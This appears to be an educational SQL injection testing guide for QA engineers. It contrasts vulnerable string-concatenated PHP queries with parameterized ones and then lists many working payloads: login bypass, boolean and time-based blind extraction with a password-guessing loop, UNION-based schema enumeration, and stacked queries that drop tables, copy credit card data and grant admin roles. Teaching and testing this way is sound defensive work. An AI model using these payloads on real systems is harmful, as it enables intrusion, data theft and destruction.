SQL Injection Security Testing Guide for QA Engineers

// ❌ VULNERABLE: Direct string concatenation
$email = $_POST['email'];
$password = $_POST['password'];
$query = "SELECT * FROM users WHERE email='" . $email . "' AND password='" . $password . "'";
$result = mysqli_query($connection, $query);

// ✅ SECURE: Parameterized query
$query = "SELECT * FROM users WHERE email=? AND password=?";
$stmt = mysqli_prepare($connection, $query);
mysqli_stmt_bind_param($stmt, "ss", $email, $password);
$result = mysqli_stmt_execute($stmt);

-- Original query
SELECT * FROM users WHERE email='user@email.com';

-- Attacker enters: ' OR '1'='1
SELECT * FROM users WHERE email='' OR '1'='1';
-- Result: Returns ALL users (1=1 is always true)

-- Attacker enters: '; DROP TABLE users; --
SELECT * FROM users WHERE email=''; DROP TABLE users; -- --'
-- Result: Two queries executed - SELECT and DROP

-- Original secure query would be:
SELECT * FROM users WHERE email='user@email.com' AND password='hash123';

-- ❌ Attack 1: Comment out password check
-- Input email: admin'--
SELECT * FROM users WHERE email='admin'--' AND password='';
-- Result: Returns admin user, any password accepted

-- ❌ Attack 2: OR condition
-- Input email: ' OR '1'='1
SELECT * FROM users WHERE email='' OR '1'='1' AND password='';
-- Result: Returns first user (1=1 is always true)

-- ❌ Attack 3: End quote and OR
-- Input email: admin' OR '1'='1
SELECT * FROM users WHERE email='admin' OR '1'='1' AND password='';
-- Result: Returns all users

-- Original query (secure with parameterization)
SELECT * FROM orders WHERE user_id=5 AND status='active';

-- ❌ Attack: Inject OR to bypass user_id check
-- Input status: active' OR '1'='1
SELECT * FROM orders WHERE user_id=5 AND status='active' OR '1'='1';
-- Result: Returns all orders (1=1 always true)

-- ❌ Attack: OR with comment to ignore remaining condition
-- Input status: active' OR 1=1--
SELECT * FROM orders WHERE user_id=5 AND status='active' OR 1=1--;
-- Result: All orders returned

-- Original: SELECT * FROM users WHERE id=1

-- Payload 1: id=1' AND '1'='1  (TRUE condition)
-- Application shows normal page → Payload works

-- Payload 2: id=1' AND '1'='2  (FALSE condition)
-- Application shows error page → Condition failed

-- Extract data character by character:
-- id=1' AND SUBSTRING(password,1,1)='a'--
-- If page shows normally, first char is 'a'

-- If condition is TRUE, sleep for 5 seconds
-- Payload: id=1' AND IF(1=1, SLEEP(5), 0)--
-- If page takes 5+ seconds, condition was TRUE

-- Extract password character by character:
-- id=1' AND IF(SUBSTRING(password,1,1)='a', SLEEP(5), 0)--
-- If 5 second delay → First char is 'a'
-- If instant response → Try next character

-- Confirm injection: Always delay if vulnerable
-- id=1' AND SLEEP(5)--

-- Extract first password character:
-- id=1' AND IF(SUBSTRING(password,1,1)='a', SLEEP(5), 0)--

-- Automated tools iterate through all characters a-z, 0-9
-- Each character takes ~5 seconds + network latency

-- Full password extraction pseudocode:
FOR position = 1 TO max_length
  FOR character IN [a-z, A-Z, 0-9]
    payload = "IF(SUBSTRING(password," + position + ",1)='" + character + "', SLEEP(5), 0)"
    IF response_time > 4.5
      password[position] = character
      BREAK

-- Original vulnerable query:
-- SELECT id, name, email FROM users WHERE category='abc'

-- Step 1: Find column count (try until no error)
-- Input: abc' ORDER BY 3--
SELECT id, name, email FROM users WHERE category='abc' ORDER BY 3--'
-- SUCCESS: 3 columns exist

-- Step 2: Find string column position
-- Input: abc' UNION SELECT 1,2,3--
SELECT id, name, email FROM users WHERE category='abc' UNION SELECT 1,2,3--'
-- Shows: 1, 2, 3 - all are convertible

-- Step 3: Extract sensitive data
-- Input: abc' UNION SELECT user(),database(),version()--
SELECT id, name, email FROM users WHERE category='abc' UNION SELECT user(),database(),version()--'
-- Shows: root, myapp_db, 5.7.22

-- Step 4: Extract database tables
-- Input: abc' UNION SELECT 1,table_name,3 FROM information_schema.tables--
-- Shows all table names

-- Vulnerable code: $query = "SELECT * FROM orders WHERE id='" + $id + "'";

-- ❌ DANGEROUS: Attacker input
-- id: 1'; DROP TABLE orders; --

-- Results in execution of:
SELECT * FROM orders WHERE id='1';
DROP TABLE orders;
-- --

-- ❌ Data theft via INSERT INTO... SELECT
-- id: 1'; INSERT INTO attacker_table SELECT * FROM credit_cards; --

-- ❌ Privilege escalation
-- id: 1'; UPDATE users SET role='admin' WHERE id=1; --